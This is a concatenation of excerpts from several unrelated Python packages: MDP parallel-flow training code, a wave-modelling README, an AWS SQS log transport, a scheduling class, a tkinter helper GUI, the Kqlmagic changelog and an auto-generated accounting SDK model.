train_callable_class self._train_data_iterables = self._train_check_iterables(data_iterables) self._i_train_node = 0 self._flownode = FlowNode(mdp.Flow(self.flow)) self._next_train_phase() def _next_train_phase(self): """Find the next phase or node for parallel training. When it is found the corresponding internal variables are set. Nodes which are not derived from ParallelNode are trained locally. If a fork() fails due to a TrainingPhaseNotParallelException in a certain train phase, then the training is done locally as well (but fork() is tested again for the next phase). """ # find next node that can be forked, if required do local training while self._i_train_node < len(self.flow): current_node = self.flow[self._i_train_node] if not current_node.is_training(): self._i_train_node += 1 continue data_iterable = self._train_data_iterables[self._i_train_node] try: self._flownode.fork() # fork successful, prepare parallel training if self.verbose: print ("start parallel training phase of " + "node no. %d in parallel flow" % (self._i_train_node+1)) self._train_data_iterator = iter(data_iterable) first_task = self._create_train_task() # make sure that the iterator is not empty if first_task is None: if current_node.get_current_train_phase() == 1: err_str = ("The training data iteration for node " "no. %d could not be repeated for the " "second training phase, you probably " "provided an iterator instead of an " "iterable." % (self._i_train_node+1)) raise mdp.FlowException(err_str) else: err_str = ("The training data iterator for node " "no. %d is empty." % (self._i_train_node+1)) raise mdp.FlowException(err_str) task_data_chunk = first_task[0] # Only first task contains the new callable (enable caching). # A fork is not required here, since the callable is always # forked in the scheduler. self._next_task = (task_data_chunk, self._train_callable_class(self._flownode)) break except NotForkableParallelException as exception: if self.verbose: print ("could not fork node no. %d: %s" % (self._i_train_node+1, str(exception))) print ("start nonparallel training phase of " + "node no. %d in parallel flow" % (self._i_train_node+1)) self._local_train_phase(data_iterable) if self.verbose: print ("finished nonparallel training phase of " + "node no. %d in parallel flow" % (self._i_train_node+1)) self._stop_training_hook() self._flownode.stop_training() self._post_stop_training_hook() if not self.flow[self._i_train_node].is_training(): self._i_train_node += 1 else: # training is finished self._i_train_node = None def _local_train_phase(self, data_iterable): """Perform a single training phase locally. The internal _train_callable_class is used for the training. """ current_node = self.flow[self._i_train_node] task_callable = self._train_callable_class(self._flownode, purge_nodes=False) empty_iterator = True for i_task, data in enumerate(data_iterable): empty_iterator = False # Note: if x contains additional args assume that the # callable can handle this task_callable(data) if self.verbose: print (" finished nonparallel task no. %d" % (i_task+1)) if empty_iterator: if current_node.get_current_train_phase() == 1: err_str = ("The training data iteration for node " "no. %d could not be repeated for the " "second training phase, you probably " "provided an iterator instead of an " "iterable." % (self._i_train_node+1)) raise mdp.FlowException(err_str) else: err_str = ("The training data iterator for node " "no. %d is empty." % (self._i_train_node+1)) raise mdp.FlowException(err_str) def _post_stop_training_hook(self): """Hook method that is called after stop_training is called.""" pass def _create_train_task(self): """Create and return a single training task without callable. Returns None if data iterator end is reached. """ try: return (next(self._train_data_iterator), None) except StopIteration: return None @mdp.with_extension("parallel") def execute(self, iterable, nodenr=None, scheduler=None, execute_callable_class=None, overwrite_result_container=True): """Train all trainable nodes in the flow. If a scheduler is provided the execution will be done in parallel on the scheduler. iterable -- An iterable or iterator that returns data arrays that are used as input to the flow. Alternatively, one can specify one data array as input. If a custom execute_callable_class is used to preprocess the data then other data types can be used as well. nodenr -- Same as in normal flow, the flow is only executed up to the nodenr. scheduler -- Value can be either None for normal execution (default value) or a Scheduler instance for parallel execution with the scheduler. execute_callable_class -- Class used to create execution callables for the scheduler. By specifying your own class you can implement data transformations before the data is actually fed into the flow (e.g. from 8 bit image to 64 bit double precision). Note that the execute_callable_class is only used if a scheduler was provided. If a scheduler is provided the default class used is NodeResultContainer. overwrite_result_container -- If set to True (default value) then the result container in the scheduler will be overwritten with an instance of OrderedResultContainer (unless it is already an instance of OrderedResultContainer). Otherwise the results might have a different order than the data chunks, which could mess up any subsequent analysis. """ if self.is_parallel_training: raise ParallelFlowException("Parallel training is underway.") if scheduler is None: if execute_callable_class is not None: err = ("A execute_callable_class was specified but no " "scheduler was given, so the execute_callable_class " "has no effect.") raise ParallelFlowException(err) return super(ParallelFlow, self).execute(iterable, nodenr) if execute_callable_class is None: execute_callable_class = FlowExecuteCallable # check that the scheduler is compatible if overwrite_result_container: if not isinstance(scheduler.result_container, ExecuteResultContainer): scheduler.result_container = ExecuteResultContainer() # do parallel execution self._flownode = FlowNode(mdp.Flow(self.flow)) try: self.setup_parallel_execution( iterable, nodenr=nodenr, execute_callable_class=execute_callable_class) while self.task_available: task = self.get_task() scheduler.add_task(*task) result = self.use_results(scheduler.get_results()) finally: # reset remaining iterator references, which cannot be pickled self._exec_data_iterator = None return result def setup_parallel_execution(self, iterable, nodenr=None, execute_callable_class=FlowExecuteCallable): """Prepare the flow for handing out tasks to do the execution. After calling setup_parallel_execution one has to pick up the tasks with get_task, run them and finally return the results via use_results. use_results will then return the result as if the flow was executed in the normal way. iterable -- An iterable or iterator that returns data arrays that are used as input to the flow. Alternatively, one can specify one data array as input. If a custom execute_callable_class is used to preprocess the data then other data types can be used as well. nodenr -- Same as in normal flow, the flow is only executed up to the nodenr. execute_callable_class -- Class used to create execution callables for the scheduler. By specifying your own class you can implement data transformations before the data is actually fed into the flow (e.g. from 8 bit image to 64 bit double precision). """ if self.is_parallel_training: raise ParallelFlowException("Parallel training is underway.") self._execute_callable_class = execute_callable_class if isinstance(iterable, n.ndarray): iterable = [iterable] self._exec_data_iterator = iter(iterable) first_task = self._create_execute_task() if first_task is None: errstr = ("The execute data iterator is empty.") raise mdp.FlowException(errstr) task_data_chunk = first_task[0] # Only first task contains the new callable (enable caching). # A fork is not required here, since the callable is always # forked in the scheduler. self._next_task = (task_data_chunk, self._execute_callable_class(self._flownode, purge_nodes=True)) def _create_execute_task(self): """Create and return a single execution task. Returns None if data iterator end is reached. """ try: # TODO: check if forked task is forkable before enforcing caching return (next(self._exec_data_iterator), None) except StopIteration: return None def get_task(self): """Return a task either for either training or execution. A a one task buffer is used to make task_available work. tasks are available as long as need_result returns False or all the training / execution is done. If no tasks are available a NoTaskException is raised. """ if self._next_task is not None: task = self._next_task if self._i_train_node is not None: self._next_task = self._create_train_task() elif self._exec_data_iterator is not None: self._next_task = self._create_execute_task() else: raise NoTaskException("No data available for execution task.") return task else: raise NoTaskException("No task available for execution.") @property def is_parallel_training(self): """Return True if parallel training is underway.""" return self._i_train_node is not None @property def is_parallel_executing(self): """Return True if parallel execution is underway.""" return self._exec_data_iterator is not None @property def task_available(self): """Return True if tasks are available, otherwise False. If False is returned this can indicate that results are needed to continue training. """ return self._next_task is not None def use_results(self, results): """Use the result from the scheduler. During parallel training this will start the next training phase. For parallel execution this will return the result, like a normal execute would. results -- Iterable containing the results, normally the return value of scheduler.ResultContainer.get_results(). The individual results can be the return values of the tasks. """ if self.is_parallel_training: for result in results: # the flownode contains the original nodes self._flownode.join(result) if self.verbose: print ("finished parallel training phase of node no. " + "%d in parallel flow" % (self._i_train_node+1)) self._stop_training_hook() self._flownode.stop_training() self._post_stop_training_hook() if not self.flow[self._i_train_node].is_training(): self._i_train_node += 1 self._next_train_phase() elif self.is_parallel_executing: self._exec_data_iterator = None ys = [result[0] for result in results] if self._flownode.use_execute_fork(): flownodes = [result[1] for result in results] for flownode in flownodes: if flownode is not None: self._flownode.join(flownode) return n.concatenate(ys) class ParallelCheckpointFlow(ParallelFlow, mdp.CheckpointFlow): """Parallel version of CheckpointFlow. Note that train phases are always closed, so e.g. CheckpointSaveFunction should not expect open train phases. This is necessary since otherwise stop_training() would be called remotely. """ def __init__(self, flow, verbose=False, **kwargs): """Initialize the internal variables.""" self._checkpoints = None super(ParallelCheckpointFlow, self).__init__(flow=flow, verbose=verbose, **kwargs) def train(self, data_iterables, checkpoints, scheduler=None, train_callable_class=FlowTrainCallable, overwrite_result_container=True, **kwargs): """Train all trainable nodes in the flow. Same as the train method in ParallelFlow, but with additional support of checkpoint functions as in CheckpointFlow. """ super(ParallelCheckpointFlow, self).train( data_iterables=data_iterables, scheduler=scheduler, train_callable_class=train_callable_class, overwrite_result_container=overwrite_result_container, checkpoints=checkpoints, **kwargs) def setup_parallel_training(self, data_iterables, checkpoints, train_callable_class=FlowTrainCallable, **kwargs): """Checkpoint version of parallel training.""" self._checkpoints = self._train_check_checkpoints(checkpoints) super(ParallelCheckpointFlow, self).setup_parallel_training( data_iterables, train_callable_class=train_callable_class, **kwargs) def _post_stop_training_hook(self): """Check if we reached a checkpoint.""" super(ParallelCheckpointFlow, self)._post_stop_training_hook() i_node = self._i_train_node if self.flow[i_node].get_remaining_train_phase() == 0: if ((i_node <= len(self._checkpoints)) and self._checkpoints[i_node]): dict = self._checkpoints[i_node](self.flow[i_node]) # store result, just like in the original CheckpointFlow if dict: self.__dict__.update(dict)
PypiClean
/Nevia_ArashRezaei-0.1.tar.gz/Nevia_ArashRezaei-0.1/README.md
# Nevia An open source framework for Forward Modeling of Wave Propagation Nevia is an easy to use, robust and accurate Python (For Matlab distrubution visit here) package, that mainly developed by Arash Rezaei Nevisi. We hope to become the most widely used modeling package in the geophysical world. We strongly invite the contributors to extend our unsolved problems mentioned below: - Forward modeling using the Spectral or Finite element method. - Forward modeling for 3D models. - Include variable grid distance (Especially the sub-gridding method) to our Finite-Difference engine. - Include Topography in our Finite-Difference engine. - Improve PML absorbing layer in our Finite-Difference engine. - Elastodynamics (First-order) equations. - Any other suggestions. For further discussion for developers contact us via Email : arashrezaei96@gmail.com ### Please cite us
PypiClean
/Gribble-1.0.0.tar.gz/Gribble-1.0.0/gribble/transports/sqs_transport.py
import boto.sqs import uuid from boto.sqs.message import Message, RawMessage from gribble.transports.base_transport import BaseTransport from gribble.transports.exception import TransportException from sys import getsizeof class SqsTransport(BaseTransport): def __init__(self, gribble_config, logger=None): super(SqsTransport, self).__init__(gribble_config, logger=logger) self._access_key = gribble_config.get('sqs_aws_access_key') self._secret_key = gribble_config.get('sqs_aws_secret_key') self._profile = gribble_config.get('sqs_aws_profile_name') self._region = gribble_config.get('sqs_aws_region') self._queue_name = gribble_config.get('sqs_aws_queue') self._queue_owner_acct_id = gribble_config.get('sqs_aws_queue_owner_acct_id') self._bulk_lines = gribble_config.get('sqs_bulk_lines') try: if self._profile: self._connection = boto.sqs.connect_to_region(self._region, profile_name=self._profile) if self._access_key is None and self._secret_key is None: self._connection = boto.sqs.connect_to_region(self._region) else: self._connection = boto.sqs.connect_to_region(self._region, aws_access_key_id=self._access_key, aws_secret_access_key=self._secret_key) if self._connection is None: self._logger.warn('Unable to connect to AWS - check your AWS credentials') raise TransportException('Unable to connect to AWS - check your AWS credentials') if self._queue_owner_acct_id is None: self._queue = self._connection.get_queue(self._queue_name) else: self._queue = self._connection.get_queue(self._queue_name, owner_acct_id=self._queue_owner_acct_id) if self._queue is None: raise TransportException('Unable to access queue with name {0}'.format(self._queue_name)) except Exception, e: raise TransportException(e.message) def callback(self, filename, lines, **kwargs): timestamp = self.get_timestamp(**kwargs) if kwargs.get('timestamp', False): del kwargs['timestamp'] if self._bulk_lines: message_batch = '' message_count = 0 else: message_batch = [] message_batch_size = 0 message_batch_size_max = 250000 # Max 256KiB but leave some headroom for line in lines: if self._bulk_lines: m = self.format(filename, line, timestamp, **kwargs) message_size = getsizeof(m) else: m = Message() m.set_body(self.format(filename, line, timestamp, **kwargs)) message_size = len(m) if (message_size > message_batch_size_max): self._logger.debug('Dropping the message as it is too large to send ({0} bytes)'.format(message_size)) continue # Check the new total size before adding a new message and don't try to send an empty batch if self._bulk_lines and (len(message_batch) > 0) and (((message_batch_size + message_size) >= message_batch_size_max)): self._logger.debug('Flushing {0} messages to SQS queue {1} bytes'.format(message_count, message_batch_size)) self._send_message(message_batch) message_batch = '' message_count = 0 message_batch_size = 0 # SQS can only handle up to 10 messages in batch send and it can not exceed 256KiB (see above) elif (len(message_batch) > 0) and (((message_batch_size + message_size) >= message_batch_size_max) or (len(message_batch) == 10)): self._logger.debug('Flushing {0} messages to SQS queue {1} bytes'.format(len(message_batch), message_batch_size)) self._send_message_batch(message_batch) message_batch = [] message_batch_size = 0 message_batch_size = message_batch_size + message_size if self._bulk_lines: message_batch += '{0},'.format(m) message_count += 1 else: message_batch.append((uuid.uuid4(), self.format(filename, line, timestamp, **kwargs), 0)) if len(message_batch) > 0: if self._bulk_lines: self._logger.debug('Flushing the last {0} messages to SQS queue {1} bytes'.format(message_count, message_batch_size)) self._send_message(message_batch) else: self._logger.debug('Flushing the last {0} messages to SQS queue {1} bytes'.format(len(message_batch), message_batch_size)) self._send_message_batch(message_batch) return True def _send_message(self, msg): try: msg = '[{0}]'.format(msg.rstrip(',')) m = RawMessage() m.set_body(msg) result = self._queue.write(m) if not result: self._logger.error('Error occurred sending message to SQS queue {0}. result: {1}'.format( self._queue_name, result)) raise TransportException('Error occurred sending message to queue {0}'.format(self._queue_name)) except Exception, e: self._logger.exception('Exception occurred sending message to SQS queue') raise TransportException(e.message) def _send_message_batch(self, message_batch): try: result = self._queue.write_batch(message_batch) if not result: self._logger.error('Error occurred sending messages to SQS queue {0}. result: {1}'.format( self._queue_name, result)) raise TransportException('Error occurred sending message to queue {0}'.format(self._queue_name)) except Exception, e: self._logger.exception('Exception occurred sending batch to SQS queue') raise TransportException(e.message) def interrupt(self): return True def unhandled(self): return True
PypiClean
/MakoTool-0.3.1.tar.gz/MakoTool-0.3.1/mako/lib/schedule/ScheduleCondition.py
import datetime import json class ScheduleCondition(object): def __init__(self, project_name, subproject_name, description, allowed_days=[1,2,3,4,5,6,7], min_start_by_day=[0,0,0,0,0,0,0], max_start_by_day=[23,23,23,23,23,23,23], min_duration=0, max_duration=23, allowed_dates=list(range(1, 32))): """ Construct constraint on schedule Args: project_name: name of the project. Only entries with that project name are considered for check. subproject_name: name of subproject, only entries with this subproject are coonsidered in check description: Description of condition as a string allowed_days=[1,2,3,4,5,6,7]: days when entries with given project name and subproject name can be allowed in schedule min_start_by_day=[0,0,0,0,0,0,0]: list of 7 integers indicating minimal time for every day in a week when entries with specified project name and subproject name can occur max_start_by_day=[23,23,23,23,23,23,23]: same as for min_start_by_day but upper bound min_duration=0: minimal duration per entry (block size in schedule) max_duration=23: maximal duration per entry (block size in schedule) allowed_dates=list(range(1, 32): allowed dates when this entry can be in schedule. """ self.description = description self.project_name = project_name self.subproject_name = subproject_name self.allowed_days = allowed_days self.min_start_by_day = min_start_by_day self.max_start_by_day = max_start_by_day self.min_duration = min_duration self.max_duration = max_duration self.allowed_dates = allowed_dates def __hash__(self): return hash(json.dumps(self.toDict(), sort_keys=True)) def __eq__(self, other): return json.dumps(self.toDict(), sort_keys=True) == json.dumps(other.toDict(), sort_keys=True) def getDescription(self): return self.description def check(self, date_of_creation, entry): """ Check if given entry satisfied constraint. Args: date_of_creation: date or datetime object when schedule containing given entry is created. entry: ScheduleEntry object to check Returns: True if condition is satisfied, Fallse otherwise. """ if self.project_name == entry.getProject().getName() and self.subproject_name == entry.getSubproject().getName(): if not entry.getDay() in self.allowed_days: return False if not (self.min_start_by_day[entry.getDay()] <= entry.getStart() and entry.getStart() <= self.max_start_by_day[entry.getDay()] ): return False if not (self.min_duration <= entry.getDuration() and entry.getDuration() <= self.max_duration ): return False wd = date_of_creation.weekday() monday = date_of_creation - (datetime.timedelta(days=wd-1)) if not (monday + datetime.timedelta(days=entry.getDay() - 1)).day in self.allowed_dates: return False return True return True def toDict(self): return { "description": self.description, "project_name": self.project_name, "subproject_name": self.subproject_name, "allowed_days": self.allowed_days, "min_start_by_day": self.min_start_by_day, "max_start_by_day": self.max_start_by_day, "min_duration": self.min_duration, "max_duration": self.max_duration, "allowed_dates": self.allowed_dates } def fromDict(d): return ScheduleCondition(**d)
PypiClean
/B0tHe1Per_test_api-0.5.tar.gz/B0tHe1Per_test_api-0.5/B0tHe1Per_test_api/bot_interface.py
import os import tkinter as tk from B0tHe1Per_test_api.file_sorter import FileSorter import subprocess current_process = None class BotInterface: def __init__(self): self.root = tk.Tk() self.root.geometry("800x1000") self.root.title("B0tHe1Per") self.root.config(bg="black") # Создаем метки для надписей "B0t", "Hel" и "Per" self.label_bot = tk.Label(self.root, text="B0t", font=("Lucida Handwriting", 60), fg="red", bg="black") self.label_hel = tk.Label(self.root, text="He1", font=("Lucida Handwriting", 60), fg="green", bg="black") self.label_per = tk.Label(self.root, text="Per", font=("Lucida Handwriting", 60), fg="blue", bg="black") # Устанавливаем метки в верхнюю часть окна self.label_bot.place(x=230, y=70, anchor="center") self.label_hel.place(x=400, y=70, anchor="center") self.label_per.place(x=560, y=70, anchor="center") # Создаем кнопки self.button_sort = tk.Button(self.root, text="Sort Files", font=("Lucida Handwriting", 30), bg="black", fg="white", command=self.sort_files) self.button_address = tk.Button(self.root, text="Address Book", font=("Lucida Handwriting", 30), bg="black", fg="white", command=self.address_book) self.button_notes = tk.Button(self.root, text="Notes", font=("Lucida Handwriting", 30), bg="black", fg="white", command=self.notes) self.button_exit = tk.Button(self.root, text="Exit", font=("Lucida Handwriting", 30), bg="black", fg="white", command=self.exit) # Устанавливаем кнопки на экран self.button_sort.place(x=400, y=250, anchor="center") self.button_address.place(x=400, y=370, anchor="center") self.button_notes.place(x=400, y=490, anchor="center") self.button_exit.place(x=400, y=610, anchor="center") self.input_folder_address = None self.label_input_folder_address = None self.button_return = None self.button_sort_files = None self.label_no_path_found = None def show_no_path_found(self): if not self.label_no_path_found: self.label_no_path_found = tk.Label(self.root, text="No path found, try again.", font=("Arial", 20), fg="red", bg="black") self.label_no_path_found.config(text="No path found, try again.") self.button_sort_files.config(text="No path found, try again.", fg="red") self.root.after(1000, self.hide_input_error) def hide_input_error(self): if hasattr(self, 'label_no_path_found'): self.label_no_path_found.destroy() def show_sort_files_input(self): self.button_sort.place_forget() self.button_address.place_forget() self.button_notes.place_forget() self.button_exit.place_forget() self.input_folder_address = tk.Entry(self.root, font=("Arial", 20), width=45) self.input_folder_address.place(x=50, y=400) self.label_input_folder_address = tk.Label(self.root, text="Input folder path:", font=("Arial",20), fg="white", bg="black") self.label_input_folder_address.place(x=50, y=350) self.button_sort_files = tk.Button(self.root, text="Press to sort", font=("Arial", 20), bg="black", fg="white", width=10, command=self.sort_files_by_button) self.button_sort_files.place(x=400, y=500, anchor="center") self.button_return = tk.Button(self.root, text="Return to menu", font=("Arial", 20), bg="black", fg="white", command=self.return_to_menu) self.button_return.place(x=400, y=750, anchor="center") def sort_files_by_button(self): folder_address = self.input_folder_address.get() if os.path.isdir(folder_address): sorter = FileSorter(folder_address) sorter.normalize() sorter.sort_files() sorter.sort_archives() print("Files sorted") self.return_to_menu() else: self.label_input_folder_address.config(text="No path found, try again.", fg="red") self.root.after(1000, self.input_folder_address.delete, 0, tk.END) if self.label_no_path_found: self.label_no_path_found.place(x=400, y=550, anchor="center") self.root.after(1000, self.label_no_path_found.place_forget) self.button_sort_files.config(text="Press to sort", fg="white") def return_to_menu(self): self.input_folder_address.destroy() self.label_input_folder_address.destroy() self.button_return.destroy() self.button_sort_files.destroy() self.button_sort.place(x=400, y=200, anchor="center") self.button_address.place(x=400, y=300, anchor="center") self.button_notes.place(x=400, y=400, anchor="center") self.button_exit.place(x=400, y=500, anchor="center") def sort_files(self): self.show_sort_files_input() def close_current_process(self): global current_process if current_process: current_process.kill() def address_book(self): global current_process self.close_current_process() current_process = subprocess.Popen(["python", "address_book.py"]) def notes(self): global current_process self.close_current_process() current_process = subprocess.Popen(["python", "notes_main.py"]) def on_closing(self): global current_process if current_process: current_process.kill() self.root.destroy() def exit(self): self.close_current_process() self.root.destroy() def run(self): self.root.mainloop() def main(self): self.run() if __name__ == "__main__": bot = BotInterface() bot.run()
PypiClean
/Kqlmagic-0.1.114.post10.tar.gz/Kqlmagic-0.1.114.post10/HISTORY.rst
Version 102 - Added option: 'show_query' (abbreviation 'sq', default False) - Print parametrized query in the out cell with the result - Aug 27, 2019 Version 101 - Support Souvereign: added cloud option; added datasourceurl and aadurl connection string properties; added clientid to all connection variations. Fixed multiple options with connection string; fixed &nbsp; added queryproperties option and "+" specific query properties for Kusto queries (supports all set customers properties) - 0.1.96 fix query caching to support non standard database names; support separate logging; log Kqlmagic steps; log requests; log adal request; add env KQLMAGIC [-LOG_LEVEL, _LOG_FILE, _LOG_FILE_PREFIX, _LOG_FILE_MODE]; add experimental sso, to enable KQLMAGIC_ENABLE_SSO=TRUE; fix parametrized dataframe types long and real; - 0.1.95 - Apr 06, 2019 fix http://kusto.aria.microsoft.com and other not standard cluster name fix missing lxml.py module dependency in setup.py; created history.rst file; updated setup.py based on azure notebooks image - 0.1.93 - Mar 24, 2019 support database names with whitespaces; support ADX proxy over AI/LA cluster names; fix charts based on firest quantity column - 0.1.92 - Mar 18, 2019 allow v1 response from kusto api v2, support adx-proxy, - 0.1.91 - Feb 20, 2019 fix to_dataframe bool - 0.1.90 - Jan 25, 2019 update binder requirements to 0.1.88 - Jan 16, 2019 version 01.88, added --schema command - 0.1.88 - Jan 16, 2019 added test_notebook_app for testing, , commands instead of show_window return html object result. - 0.1.87 - Dec 25, 2018 added run_upgrade.bat; enhanced run_tests.bat - Dec 24, 2018 fixed run_tests.bat - fixed run_tests.bat - Dec 20, 2018 update binder requirements - update binder requirements - Dec 20, 2018 Adjusted to support VisualStudioCode (Jupyter) notebook - 0.1.86 - Dec 18, 2018 added support to "ipython" notebook_app, started a tests suits - 0.1.85 - Dec 17, 2018 update binder requirements to 0.1.84 - Dec 16, 2018 Fix dynamic columns that are not strict json - 0.1.84 - Dec 11, 2018 Align to Kusto new V2 dynamic field response; fix kql.submit() - 0.1.83 - Dec 10, 2018 binder to use 0.1.82 - Dec 9, 2018 added binder folder, with requirements - Dec 9, 2018 fixed env KQLMAGIC_CONNECTION_STR - 0.1.82 - Dec 6, 2018 update notebooks with anonymous authentication - Dec 3, 2018 removed tell_format; added anonymous authentication (for the case of local data source) - 0.1.81 - Dec 3, 2018 Removed dependency on azure.kusto sdk, use rest api to kusto. - 0.1.80 - Nov 13, 2018 changed cache management via commands, modified caches to be named, added option -save_to folder,; support datetime as linear value in charts, support kql render attributes; support fully qualified cluster; prepare to remove kusto sdk - 0.1.79 - Nov 13, 2018 support query option -timout / -wait / -to in seconds - 0.1.78 - Nov 8, 2018 fix popup for clusters or databases with special characters, fix .ingest online, version - 0.1.77 - Nov 8, 2018 restrict Kqlmagic to python >= 3.6 - 0.1.76 - Nov 8, 2018 support command --help without params - 0.1.75 - Nov 7, 2018 version 0.1.74 - 0.1.74 - Nov 7, 2018 support .show database DB schema as json - Nov 7, 2018 fix parametrization of df column of type object but is actually bytes 0.1.73 - 0.1.73 - Nov 5, 2018 fixed parametrizaton to .set management queries, fixed javascript error when old out cell displays - 0.1.72 - Nov 5, 2018 prepare support all visualization properties - 0.1.71 - Nov 3, 2018 minor changes in readme and help - Oct 31, 2018 support pandas dataframe as parameter, add support null values in conversion to dataframes, fixed pretty print of dynamic cols; improved parametrization. - 0.1.70 - Oct 31, 2018 make keys as caseinsensitive, ignore underscore and hyphen-minus, covert some options to commands, modify kusto kql logo, and remove kusto name. 0.1.69 - 0.1.69 - Oct 29, 2018 fix clors notebook - Oct 25, 2018 popup_window option to all commands, fixed banner, update notebooks, 0.1.68 - 0.1.68 - Oct 25, 2018 update notebooks with --version,; allow =setting in options, more quotes flexibility with values, support option dict type; - 0.1.67 - Oct 25, 2018 support partial result, add command concept, added commands, 0.1.66 - 0.1.66 - Oct 25, 2018 options and connection key values can be parametyrize from python and env variables, new -query and -conn option - 0.1.65 - Oct 23, 2018 parametrized options, add file://folder, update color notebook, 0.1.64 - 0.1.64 - Oct 22, 2018 fix notebooks - Oct 22, 2018 run black on code, version 0.1.63 - 0.1.63 - Oct 22, 2018 bug fix, code refactor, version 0.1.62 - 0.1.62 - Oct 21, 2018 moved the saved_as earlier in the pipe, to capture raw results even if there is an error later. version 0.1.61 - 0.1.61 - Oct 20, 2018 fix to pandas convertion, for the case of missing int64 or missing bool, version 0.1.60 - 0.1.60 - Oct 18, 2018 update notebooks, added support to certificate pem_file, version 0.1.59 - 0.1.59 - Oct 18, 2018 restructure local files - Oct 18, 2018 Update notebooks, created QuikStart fro log analytics notebook, updated README, version 0.1.58 - 0.1.58 - Oct 18, 2018 update notebooks - Oct 18, 2018 update notebooks - Oct 18, 2018 update notebooks with new connection string format - Oct 18, 2018 Fixed setup.py long description to show properly work on PyPI - 0.1.57 - Oct 17, 2018 removed setup dwonload_url - Oct 17, 2018 update setup description and README titles - Oct 17, 2018 update README - Oct 17, 2018 update README - Oct 17, 2018 update README - Oct 17, 2018 updated README, and setup - 0.1.56 - Oct 17, 2018 fix setup.py - fix setup.py removed version restriction on traitlets - 0.1.55 - Oct 17, 2018 removed psutil version restriction in setup - 0.1.54 - Oct 17, 2018 fixed pallette notebook; adjuset to azure-kusto-data version 0.0.15 changes (tenant is a must parameter, for clienid) - 0.1.53 - Oct 16, 2018 Fixed development status, updated setup, version 0.1.52 - 0.1.52 - Oct 16, 2018 changes state from 1-alpha to 3-beta; published in PyPI; modified notebooks to reflect the changes; changed structure of files. Version 0.1.50 - 0.1.50 - Oct 16, 2018 support alt schema names; simplify code; improve connection inheritance; ; added warning to upgrade version with PyPI; added alias to connection string; added alias_magics 'adxql'; - 0.1.47 - Oct 15, 2018 removed order restriction on connection string, simplified and unified connections string code parsing, improved error presentation, added friendly_ to connection string (for case id is a uuid) - 0.1.46 - Oct 10, 2018 AAD Authentication Code() and Clientid/Clientsecret, added to ApplicationInsights and Loganalytics - 0.1.45 - Oct 9, 2018 add aad auth support for lognalytics and applicationinsights; simplified code - 0.1.44 - Oct 8, 2018 support getting generic database schema from all engines - 0.1.43 - Oct 7, 2018 fixed fork charts, adjusted to work on Jupyter Lab - 0.1.42 - Oct 7, 2018 fixed linechart and timechart multidimetional and not sorted, and not ordered, 0.1.41 - 0.1.41 - Oct 4, 2018 bump version 0.1.40 bump 0.1.39 fix results.py - Oct 3, 2018 bump version 0.1.38 patch to support plotly in Azure notebook, till it will support plotly MIME - Oct 3, 2018 comment local usage - Oct 3, 2018 add ParametrizeYourQuery notebook - Oct 3, 2018 added parametrization feature, added saved_as option, added params_dict option, fixed options validation, added parametrized_query attribute to results object, updated setup.py - 0.1.37 - Sep 30, 2018 simplified code, fixed cahing schema - 0.1.36 - Sep 24, 2018 Fixed timespan - 0.1.35 - Sep 23, 2018 fixed ref to github - Sep 20, 2018 Added copyright file header to all files, version 0.1.34 - 0.1.34 - Sep 20, 2018 fix notebooks - 0.1.33 - Sep 19, 2018 fix setup.py - 0.1.32 - Sep 19, 2018 bump version - 0.1.31 - Sep 19, 2018
PypiClean
/MergePythonSDK.ticketing-2.2.2-py3-none-any.whl/MergePythonSDK/accounting/model/journal_line_request.py
import re # noqa: F401 import sys # noqa: F401 from typing import ( Optional, Union, List, Dict, ) from MergePythonSDK.shared.model_utils import ( # noqa: F401 ApiTypeError, ModelComposed, ModelNormal, ModelSimple, cached_property, OpenApiModel, change_keys_js_to_python, convert_js_args_to_python_args, date, datetime, file_type, none_type, validate_get_composed_info, ) from MergePythonSDK.shared.exceptions import ApiAttributeError from MergePythonSDK.shared.model_utils import import_model_by_name class JournalLineRequest(ModelNormal): """NOTE: This class is auto generated by OpenAPI Generator. Ref: https://openapi-generator.tech Do not edit the class manually. Attributes: allowed_values (dict): The key is the tuple path to the attribute and the for var_name this is (var_name,). The value is a dict with a capitalized key describing the allowed value and an allowed value. These dicts store the allowed enum values. attribute_map (dict): The key is attribute name and the value is json key in definition. discriminator_value_class_map (dict): A dict to go from the discriminator variable value to the discriminator class name. validations (dict): The key is the tuple path to the attribute and the for var_name this is (var_name,). The value is a dict that stores validations for max_length, min_length, max_items, min_items, exclusive_maximum, inclusive_maximum, exclusive_minimum, inclusive_minimum, and regex. additional_properties_type (tuple): A tuple of classes accepted as additional properties values. """ allowed_values = { } validations = { } @cached_property def additional_properties_type(): """ This must be a method because a model may have properties that are of type self, this must run after the class is loaded """ return (bool, dict, float, int, list, str, none_type,) # noqa: E501 _nullable = False @cached_property def openapi_types(): """ This must be a method because a model may have properties that are of type self, this must run after the class is loaded Returns openapi_types (dict): The key is attribute name and the value is attribute type. """ defined_types = { 'remote_id': (str, none_type, none_type,), # noqa: E501 'account': (str, none_type, none_type,), # noqa: E501 'net_amount': (float, none_type, none_type,), # noqa: E501 'tracking_category': (str, none_type, none_type,), # noqa: E501 'contact': (str, none_type, none_type,), # noqa: E501 'description': (str, none_type, none_type,), # noqa: E501 } return defined_types @cached_property def discriminator(): return None attribute_map = { 'remote_id': 'remote_id', # noqa: E501 'account': 'account', # noqa: E501 'net_amount': 'net_amount', # noqa: E501 'tracking_category': 'tracking_category', # noqa: E501 'contact': 'contact', # noqa: E501 'description': 'description', # noqa: E501 } read_only_vars = { } _composed_schemas = {} @classmethod @convert_js_args_to_python_args def _from_openapi_data(cls, *args, **kwargs): # noqa: E501 """JournalLineRequest - a model defined in OpenAPI Keyword Args: _check_type (bool): if True, values for parameters in openapi_types will be type checked and a TypeError will be raised if the wrong type is input. Defaults to True _path_to_item (tuple/list): This is a list of keys or values to drill down to the model in received_data when deserializing a response _spec_property_naming (bool): True if the variable names in the input data are serialized names, as specified in the OpenAPI document. False if the variable names in the input data are pythonic names, e.g. snake case (default) _configuration (Configuration): the instance to use when deserializing a file_type parameter. If passed, type conversion is attempted If omitted no type conversion is done. _visited_composed_classes (tuple): This stores a tuple of classes that we have traveled through so that if we see that class again we will not use its discriminator again. When traveling through a discriminator, the composed schema that is is traveled through is added to this set. For example if Animal has a discriminator petType and we pass in "Dog", and the class Dog allOf includes Animal, we move through Animal once using the discriminator, and pick Dog. Then in Dog, we will make an instance of the Animal class but this time we won't travel through its discriminator because we passed in _visited_composed_classes = (Animal,) remote_id (str, none_type): The third-party API ID of the matching object.. [optional] # noqa: E501 account (str, none_type): [optional] # noqa: E501 net_amount (float, none_type): The line's net amount.. [optional] # noqa: E501 tracking_category (str, none_type): [optional] # noqa: E501 contact (str, none_type): [optional] # noqa: E501 